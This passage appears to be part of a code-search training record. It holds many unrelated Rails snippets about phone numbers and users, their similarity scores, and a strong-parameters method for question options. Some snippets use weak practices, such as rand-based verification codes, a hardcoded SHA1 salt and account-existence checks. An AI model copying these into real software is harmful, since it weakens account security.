gets.chomp\n puts \"Please enter phone number: \"\n \tdig = gets.chomp\n\n phone = Phonenumber.create({category: cat, digits: dig})\nend", "def create\n @phone = Phone.new(params[:phone])\n respond_to do |format|\n if @phone.save\n flash[:notice] = \"Successfully added #{@phone.number}.\"\n if permit?('support') then\n if @phone.phonable.kind_of? User\n format.html { redirect_to user_url(@phone.phonable) }\n else\n format.html { redirect_to organization_url(@phone.phonable) }\n end \n else\n format.html { redirect_to member_url(@current_user) }\n end \n format.xml { head :created, :location => phone_url(@phone) }\n else\n flash[:notice] = \"Unable to add #{@phone.number}.\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @phone.errors.to_xml }\n end\n end\n end", "def create\n @user_telephone = UserTelephone.new(user_telephone_params)\n\n respond_to do |format|\n if @user_telephone.save\n format.html { redirect_to @user_telephone, notice: 'User telephone was successfully created.' }\n format.json { render :show, status: :created, location: @user_telephone }\n else\n format.html { render :new }\n format.json { render json: @user_telephone.errors, status: :unprocessable_entity }\n end\n end\n end", "def phone_number\n if self[:phone_number] == nil\n return nil\n end\n phone_number = self[:phone_number]\n return PhoneNumberHandler.format_phone_number(phone_number)\n end", "def phone_number\n if self[:phone_number] == nil\n return nil\n end\n phone_number = self[:phone_number]\n return PhoneNumberHandler.format_phone_number(phone_number)\n end", "def cell_phone; end", "def primary_phone=(n)\n pull unless @details\n pn = Quickbooks::Model::TelephoneNumber.new\n pn.free_form_number = n\n @details.primary_phone = pn\n #update our locally stored number too\n update_phone_number\n end", "def set_phone_num\n @phone_num = PhoneNum.find(params[:id])\n end", "def phone_present\n if phone.blank?\n errors.add(:phone, \"Can't be empty\")\n end\n end", "def telephone_number\n contact&.telephone_number.blank? ? \"N/A\" : contact&.telephone_number\n end", "def set_phone_attributes\n # 6 digit zero padded number as a string.\n self.phone_number_confirmation_token = ( SecureRandom.hex(3).to_i(16) % 1_000_000 ).to_s.rjust( 6, \"0\" )\n # removes all white spaces, hyphens, and parenthesis\n self.unconfirmed_phone_number.to_s.gsub!(/[\\s\\-\\(\\)]+/, '')\n self.phone_number_confirmation_sent_at = nil\n end", "def create\n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n recipient_phone = Phone.find_by_number(@message.number)\n \t recipient_phone ||= User.create!.phones.create!(:number => @message.number)\n @message.send_SMS(@message.raw_message, recipient_phone, \"\", @message.app.id)\n format.html { redirect_to messages_path, notice: 'Message was successfully sent.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def request_code\n activate_code = random_activate_code.to_s\n if params.include?(:phone_number)\n send_sms params[:phone_number], activate_code\n if User.exists?(:phone_number => params[:phone_number])\n user = User.find_by(phone_number: params[:phone_number])\n user_temp = {:code => activate_code}\n user.update(user_temp)\n result = {:success => true, :message => 'updated new phone number successfully'}\n else\n user_temp = {:phone_number => params[:phone_number], :code => activate_code}\n user = User.new(user_temp)\n if user.save\n result = {:success => true, :message => 'created new phone number successfully'}\n else\n result = {:success => false, :message => 'created new phone number unsuccessfully'}\n end\n end\n end\n render json: result, status: 200\n end", "def add_phone_number!(phone_number)\n clean_phone_number = Expect.clean_phone_number(phone_number)\n \n unless self.phone_numbers.where(clean_phone_number: clean_phone_number).any?\n self.phone_numbers.create(phone_number: phone_number)\n end\n end", "def mobile_phone=(n)\n pull unless @details\n pn = Quickbooks::Model::TelephoneNumber.new\n pn.free_form_number = n\n @details.mobile_phone = pn\n #update our locally stored number too\n update_mobile_phone_number\n end", "def create\n phone_number = params[:user][:phone_number]\n remember_me = params[:user][:remember_me] == \"1\"\n\n out = Authenticates::PhoneNumberSignInService.new(current_club).execute(session, phone_number)\n\n case out[:status]\n when :invalid_phone_number\n flash[:error] = \"전화번호가 잘못되었습니다.\"\n redirect_to club_sign_in_path(current_club)\n when :success\n remember_user(remember_me, out[:user])\n proceed\n end\n end", "def create\n\t\t@user = User.find_by_phone(params[:phone])\n\t\tif @user == nil\n\t\t\t@user = User.new(query_param)\n\n\t\t\t@user.add_cap_id(params[:cap_id].to_i - 1)\n\n\t\t\t@user.encrypt_password(params[:password])\n\t\t\tif params[:password] != nil && @user.save\n\t\t\t\trender action: \"show\", id: @user.phone\n\t\t\telse\n\t\t\t\trender :json => {:body => \"invalid user\"}, :status => 409\n\t\t\tend\n\t\telse\n\t\t\trender action: \"show\", id: @user.phone\n\t\tend\n\tend", "def create\n number = params[:user][:number]\n number = number.gsub(\" \", \"\")\n number = number.gsub(\"(\", \"\")\n number = number.gsub(\")\", \"\")\n number = number.gsub(\"+\", \"\")\n number = number.gsub(\"[\", \"\")\n number = number.gsub(\"]\", \"\")\n number = number.gsub(\".\", \"\")\n number = number.gsub(\",\", \"\")\n number = number.gsub(\"-\", \"\")\n number = number.gsub(\"_\", \"\")\n number.strip!\n\n full_number = \"+1#{number}\"\n encrypted_number = Digest::SHA1.hexdigest(\"#{full_number}sm1thsbeach_21_wls\")\n @user = User.find_or_initialize_by_number(encrypted_number)\n\n if @user.save\n \n verify_code = rand(10**6) \n session[:verify_code] = verify_code\n session[:saved_number] = full_number\n session[:logged_in] = false\n\n @info_msg = Kptwilio.new(full_number, \"+12052676367\", \"Well hello. Verify your number using this code:\\n\\n#{verify_code}\")\n @info_msg.send\n\n redirect_to verify_url\n\n else \n \n verify_code = rand(10**12)\n session[:verify_code] = verify_code\n session[:saved_number] = 500\n session[:logged_in] = false\n\n format.html { render action: \"index\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n\n end\n\n end", "def phone_number\n @phone.number\n end", "def user_telephone_params\n params.require(:user_telephone).permit(:phone_number, :state, :user_id, :phone_type, :phone_device, :phone_number_short)\n end", "def add_phone_number(phone_number)\n return if self.has_number?(phone_number)\n puts \"adding number: \" + phone_number.number \n self.save\n self.list_memberships.create! :phone_number_id => phone_number.id\n if(self.use_welcome_message?)\n puts \"has welcome message, and creating outgoing message\"\n welcome_message = self.custom_welcome_message\n create_outgoing_message( phone_number, welcome_message )\n end \n end", "def edit_phone_number\n begin\n if params[:user][:phone_number].present?\n @user = api_user\n if @user && params[:user][:password].present?\n authorized_user = @user.valid_password?(params[:user][:password])\n elsif @user && params[:user][:email].present?\n authorized_user = @user.email == params[:user][:email] ? @user : nil\n else\n authorized_user=@user\n end\n if authorized_user\n if params[:user][:verification_code].present?\n if @user.verification_code == params[:user][:verification_code]\n if @user.update(phone_number: params[:user][:phone_number],verification_code: nil)\n @response = {:code => \"0\",:status => \"Success\",:message => \"Phone number updated successfully\",:user => @user.create_hash}\n else\n @response = {:code => \"1\",:status => \"Error\",:message => \"Error while updating phone number\",:user => @user.errors}\n end\n else\n @response = {:code => \"2\",:status => \"Error\",:message => \"Wrong verification code\"}\n end\n else\n verification_code = rand(1000...9999)\n to_number = \"#{params[:countries]}#{params[:user][:phone_number]}\"\n body = \"Your phone number successfully updated on miniflix and your verification code is #{verification_code}\"\n\n twillo_response = TwilioService.new(to_number, body).call()\n\n if twillo_response[:success]\n @response = {:code => \"0\",:status => \"Success\",:message => \"Successfully sent verification code on your phone number.\"}\n @user.update_attributes(:verification_code => verification_code)\n else\n @response = {:code => \"-1\",:status => \"Error\",:message => twillo_response[:message]}\n end\n end\n else\n @msg = params[:user][:email].present? ? \"Invalid email\" : \"Invalid Current Password\"\n @response = {:code => \"3\",:status => \"Error\",:message => @msg}\n end\n else\n @response = {:code => \"4\",:status => \"Error\",:message => \"Please pass user_id/phone_number/password/email\"}\n end\n rescue Exception => e\n @response = {:code => \"-1\",:status => \"Error\",:message => e.message}\n end\n render :json => @response\n end", "def register_user\n if !(User.find_by username: params[:username]).nil?\n flash[:notice] = \"Username taken, try another\"\n redirect_to \"/\"\n elsif validate_password params[:password]\n flash[:notice] = \"Please enter a valid password\"\n redirect_to \"/\"\n elsif params[:first_name].strip.empty? || params[:last_name].strip.empty? || params[:street].strip.empty? || params[:city].strip.empty? || params[:state].strip.empty? || params[:zip].strip.empty? || params[:country].strip.empty? || params[:email].strip.empty?\n flash[:notice] = \"Invalid characters entered\"\n redirect_to \"/\"\n else\n user = User.new\n user.first = params[:first_name]\n user.last = params[:last_name]\n user.street = params[:street]\n user.city = params[:city]\n user.state = params[:state]\n user.zip = params[:zip]\n user.country = params[:country]\n user.email = params[:email]\n user.username = params[:username]\n user.password = params[:password]\n user.save\n #Only add a phone number to the database if a number is entered.\n if !params[:phone1].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone1]\n user.phones << phone\n phone.save\n end\n if !params[:phone2].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone2]\n user.phones << phone\n phone.save\n end\n if !params[:phone3].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone3]\n user.phones << phone\n phone.save\n end\n #After registration is complete, user is taken to a confirmation page.\n redirect_to '/register/confirmation'\n end\n end", "def user_params\n params[:user][:phone_no] = params[:user][:phone_no].tr('-', '') if not params[:user][:phone_no].nil?\n params.require(:user).permit(:user_name, :phone_no, :imsi, :ecgi, :description, :avatar, :expire_day, :expire_hour, :user_type)\n end", "def create\n @moto_user_phone = MotoUserPhone.new(params[:moto_user_phone])\n\n respond_to do |format|\n if @moto_user_phone.save\n format.html { redirect_to(@moto_user_phone, :notice => 'Moto user phone was successfully created.') }\n format.xml { render :xml => @moto_user_phone, :status => :created, :location => @moto_user_phone }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @moto_user_phone.errors, :status => :unprocessable_entity }\n end\n end\n end", "def phone_number\n value = Faker::PhoneNumber.phone_number\n remove_extension(value)\n end", "def phone_number\n value = Faker::PhoneNumber.phone_number\n remove_extension(value)\n end", "def phone_number\n '+18009977777'\n end", "def create\n @member = Member.new(params[:member])\n @member.phone = nil if @member.phone == \"+375\"\n\n respond_to do |format|\n if @member.save\n format.html { redirect_to new_payment_for_url(@member), notice: 'Member was successfully created.' }\n format.json { render json: @member, status: :created, location: @member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @phone_num = PhoneNum.new(phone_num_params)\n\n respond_to do |format|\n if @phone_num.save\n format.html { redirect_to @phone_num, notice: 'Phone num was successfully created.' }\n format.json { render :show, status: :created, location: @phone_num }\n else\n format.html { render :new }\n format.json { render json: @phone_num.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_phone_number(phone, location, primary = false, extension = nil)\n if primary\n old_primaries = phone_numbers.select { |phone| phone.primary == true }\n old_primaries.each do |old_primary|\n old_primary.primary = 0\n old_primary.save!\n end\n end\n\n old_phone_record = phone_numbers.select { |phone| phone.location == location }.first\n if old_phone_record\n old_phone_record.number = phone\n old_phone_record.extension = extension\n old_phone_record.primary = primary\n old_phone_record.save!\n else\n PhoneNumber.create!(number: phone, location: location, extension: extension, primary: primary, person_id: id)\n end\n end", "def gen_phone_num\n \"#{rand(900) + 100}-#{rand(900) + 100}-#{rand(1000) + 1000}\"\nend", "def create\n\n\t\tif User.find_by(email: user_params[:email])\n\t\t\trender json: {\n\t\t \t\tstatus: 'error',\n\t\t \t\tmessage: 'Email has already been taken!'\n\t\t \t}, status: 422 \n\t\telsif User.find_by(phone_number: user_params[:phone_number])\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'Phone number has already been taken!'\n\t\t\t}, status: 422\n\t\telse\n\n\t\t\t@user = User.create(user_params)\n\n\t\t\tif @user\n\t\t\t\t# If successfully created\n\t\t\t\tUserMailer.welcome_email(@user).deliver_now\n\t\t\t\tnil\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'success',\n\t\t\t\t\tuser: @user\n\t\t\t\t}, status: 200\n\t\t\t\t@user.confirm_token = SecureRandom.urlsafe_base64.to_s\n\t\t \t\t@user.save!\n\t\t\telse\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'Missing a field!'\n\t\t\t\t}, status: 422\n\t\t\tend\n\t\t \t\n\t\tend\n\t \n\tend", "def standardized_phone_number\n @standardized_phone_number ||= phone_number.gsub(/\\D/, '')\n end", "def create\n @resource = User.find_by_phone_number(params[:phone_number])\n if @resource && @resource&.valid_password?(params[:password])\n @client_id, @token = @resource.create_token\n @resource.add_user_uid\n @resource.save\n sign_in(:user, @resource, store: false, bypass: false)\n add_device_id\n render_create_success\n else\n render_create_error_bad_credentials # devise_auth_token method (parent class)\n end\n end", "def check_phone_number\n @user = User.find_by_phone_number(params[:phone_number])\n\n if @user.nil?\n # No account exists with this phone number\n render :text => 'false', :status => 201\n else\n # account exists with this phone number\n render :text => 'true', :status => 201\n end\n end", "def update\n current_user.phone = params['phone']\n current_user.save()\n\n render :nothing => true, :status => 204\n end", "def user_params\n\t params.require(:user).permit(:name, :phone_number)\n\t end", "def phone_number\n get_attribute(Yoti::Attribute::PHONE_NUMBER)\n end", "def create(name, email, *phone)\n check_duplicate_email!(email)\n new_contact = self.new(name, email) \n new_contact.save\n \n phone.flatten!\n if phone.length > 0\n (0...phone.length).step(2) do |item|\n new_number = PhoneNumbers.create(phone[item], phone[item+1], new_contact.id.to_i)\n p new_number\n end\n end\n end", "def phone_exist\n user = ConsultantUser.where({:phone=>params[:phone]})\n if user.blank?\n render_success_json('尚未注册')\n else\n render_failure_json('已经注册')\n end\n end", "def get_phone_no\n phone_no = params[:phone_no] if params[:phone_no].present?\n @phone = phone_no.respond_to?(\"strip\") ? phone_no.strip : nil\n end", "def find_or_create_user(username, company, phone)\n\n #find the user (if not, create)\n @user = nil\n if username.empty?\n false #if there's no username, don't create.\n else\n #add on dummy email @\n username << '@appfolio.com'\n\n #find the user\n @user = User.where(email: username).take\n if @user.nil?\n @user = User.new(:email => username,\n :password => 'appfolio_dummy',\n :password_confirmation => 'appfolio_dummy',\n :company_name => company,\n :phone_number => phone\n )\n @user.save\n\n end\n\n @user\n\n end\n\n end", "def create\n @boat_user_phone = BoatUserPhone.new(params[:boat_user_phone])\n\n respond_to do |format|\n if @boat_user_phone.save\n format.html { redirect_to(@boat_user_phone, :notice => 'Boat user phone was successfully created.') }\n format.xml { render :xml => @boat_user_phone, :status => :created, :location => @boat_user_phone }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @boat_user_phone.errors, :status => :unprocessable_entity }\n end\n end\n end", "def phone\n if @data.attribute_names.include?(:cmupreferredtelephone)\n @phone ||= @data[:cmupreferredtelephone].last.gsub(/[^0-9]/,'')\n else\n @phone ||= nil\n end\n end", "def create\n flash[:notice] = 'The phone number was successfully added.' if phone_number.save\n respond_with(phone_number)\n end", "def is_sender_registered?(phone_number)\n phone_number = phone_number.gsub(/\\+1/, '').gsub(/\\D+/, '')\n get_system_org.users.find_by_phone(phone_number)\n end", "def register\n if params[:id]\n user = User.find(params[:id])\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n normalized_mobile_number = PhoneHandling.normalize_phone_number(params[:mobile_number])\n if user = User.find_by_mobile_number(normalized_mobile_number)\n user.status = :active\n user.app_version = params[:v]\n params[:first_name] and user.first_name = params[:first_name]\n params[:last_name] and user.last_name = params[:last_name]\n user.save!\n # Let's check the Notifications to see if this user has been invited...\n elsif n = Notification.to_number(normalized_mobile_number).first\n user = n.recipient\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n # Create a new user\n user = User.create!(params.only(\"first_name\",\"last_name\",\"mobile_number\").merge(:status => :active,:app_version => params[:v]) )\n end\n end\n set_and_cookie_current_user(user)\n render :json => user.attributes_for_app\n end", "def phone_number\n \"(#{Helpers::FakeIt.area_code}) #{Helpers::FakeIt.exchange_code}-#{Helpers::FakeIt.subscriber_number}\"\n end", "def change_phone\n current_user.genarate_phone_confirmation_code params[:phone]\n end", "def authed_user?\n return true unless @data['hasPhone'].nil?\n\n false\n end", "def before_rpx_auto_create(rpx_user)\n # Get email (if the provider supports it). This is already done?\n unless rpx_user[\"email\"].blank?\n self.email = rpx_user[\"email\"]\n end\n # This might cause conflicts, should we use the email as name instead?\n unless rpx_user[\"username\"].blank?\n self.name = rpx_user[\"username\"]\n end\n end", "def create\n require 'digest/md5'\n @user.device_id= Digest::MD5.hexdigest(User.random_string(10)).upcase\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to user_path(@user), :notice => @controller_name +t(:message_success_insert)}\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @phone_number = @kontact_information.phone_numbers.build(params[:phone_number])\n respond_to do |format|\n if @phone_number.save\n flash[:notice] = 'Phone number was successfully created.'\n format.html { redirect_to(@phone_number) }\n format.mobile {redirect_to profile_kontact_kontact_information_plural_fields_path(@profile, @kontact)}\n format.xml { render :xml => @phone_number, :status => :created, :location => @phone_number }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @phone_number.errors, :status => :unprocessable_entity }\n end\n end\n end", "def associate_with_user\n if user_id.nil? || user.email == Address::PLACEHOLDER_EMAIL\n self.user_id = User.find_or_create_by_details(\n email: email_address, name: billing_full_name\n ).id\n end\n end", "def phone_number=(value)\n super(value.blank? ? nil : value.gsub(/[^\\d]/, ''))\n end", "def gen_int_phone_num\n \"011-#{rand(100) + 1}-#{rand(100) + 10}-#{rand(1000) + 1000}\"\nend", "def international_phone\n \"011-#{rand(100) + 1}-#{rand(100)+10}-#{rand(10000)+1000}\"\n end", "def user_exists_mobile\n @user = User.none\n if !params[:email].nil?\n @user = User.find_by(email: params[:email].downcase)\n end\n if @user.blank?\n render json: {status: \"failure\"}\n else\n render json: {status: \"success\", user: @user, protege: @user.protege, card: @user.protege.card}\n end\n end" ]
[ "0.7602501", "0.6979493", "0.6923788", "0.6873253", "0.67178947", "0.6685096", "0.6670594", "0.66410416", "0.6628331", "0.6599851", "0.6599472", "0.65654665", "0.6560679", "0.65374035", "0.64763695", "0.64763695", "0.6456678", "0.6445233", "0.6437445", "0.6427565", "0.6388138", "0.6363628", "0.63626343", "0.63538563", "0.6351016", "0.63443875", "0.63412666", "0.6323573", "0.6306395", "0.62739223", "0.619937", "0.61934274", "0.6184107", "0.6183175", "0.6167351", "0.61625797", "0.6131182", "0.6125255", "0.61204046", "0.61174595", "0.61153066", "0.61072314", "0.60775757", "0.60734165", "0.60550535", "0.60547274", "0.60408217", "0.6038532", "0.6036643", "0.6031023", "0.6030324", "0.60169256", "0.60068923", "0.6006728", "0.600147", "0.5998967", "0.5996882", "0.59904283", "0.5987873", "0.59547436", "0.59526235", "0.5945426", "0.5935787", "0.59262496", "0.5916938", "0.5914746", "0.5911262", "0.5911262", "0.59101355", "0.5909343", "0.5907502", "0.5906852", "0.58953154", "0.5894556", "0.58867925", "0.5886559", "0.58820736", "0.5874832", "0.5873092", "0.58682775", "0.58636445", "0.58631855", "0.5853617", "0.5852582", "0.5848795", "0.58466184", "0.5843698", "0.58407617", "0.5837487", "0.5836851", "0.58311784", "0.5815876", "0.57927394", "0.5791884", "0.5791564", "0.57856584", "0.57847005", "0.57834643", "0.57802594", "0.5768511" ]
0.74177825
1
Use callbacks to share common setup or constraints between actions.
def set_question_option @question_option = QuestionOption.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def before_dispatch(env); end", "def process_action(...)\n send_action(...)\n end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def config(action, *args); end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def setup_signals; end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def initialize(*args)\n super\n @action = :set\nend", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def call\n setup_context\n super\n end", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6162554", "0.60452986", "0.5945278", "0.59169763", "0.58877826", "0.5834763", "0.5775349", "0.5704972", "0.5704972", "0.56543803", "0.5621491", "0.5427202", "0.54093206", "0.54093206", "0.54093206", "0.53975695", "0.53776276", "0.53562194", "0.5340594", "0.5337824", "0.5328757", "0.5310255", "0.5300339", "0.5298796", "0.5295774", "0.5256034", "0.5243039", "0.5236007", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.5235239", "0.52321917", "0.5227032", "0.52216744", "0.5216349", "0.52161187", "0.5210265", "0.5207244", "0.5177388", "0.5177142", "0.51747334", "0.516293", "0.51629275", "0.5155534", "0.51540613", "0.515197", "0.5151636", "0.5145279", "0.51380795", "0.5135777", "0.5117378", "0.5115066", "0.5115066", "0.5110235", "0.5106418", "0.50917816", "0.50909185", "0.50855017", "0.5082105", "0.506359", "0.5055345", "0.50546116", "0.50523037", "0.50523037", "0.50327307", "0.5024364", "0.5021113", "0.50174654", "0.50163317", "0.5000553", "0.50002855", "0.49991882", "0.49905527", "0.49905527", "0.49849054", "0.4982546", "0.4980941", "0.4979153", "0.49693102", "0.4967172", "0.49594432", "0.49564302", "0.49552485", "0.49533385", "0.49506924", "0.49452737", "0.49442786", "0.49347955", "0.49341312", "0.49295264", "0.49261844", "0.4925649", "0.49251428", "0.4920729", "0.49177617", "0.4916373", "0.49158472", "0.4915794", "0.49156648" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def question_option_params params.require(:question_option).permit(:question_id, :title) end
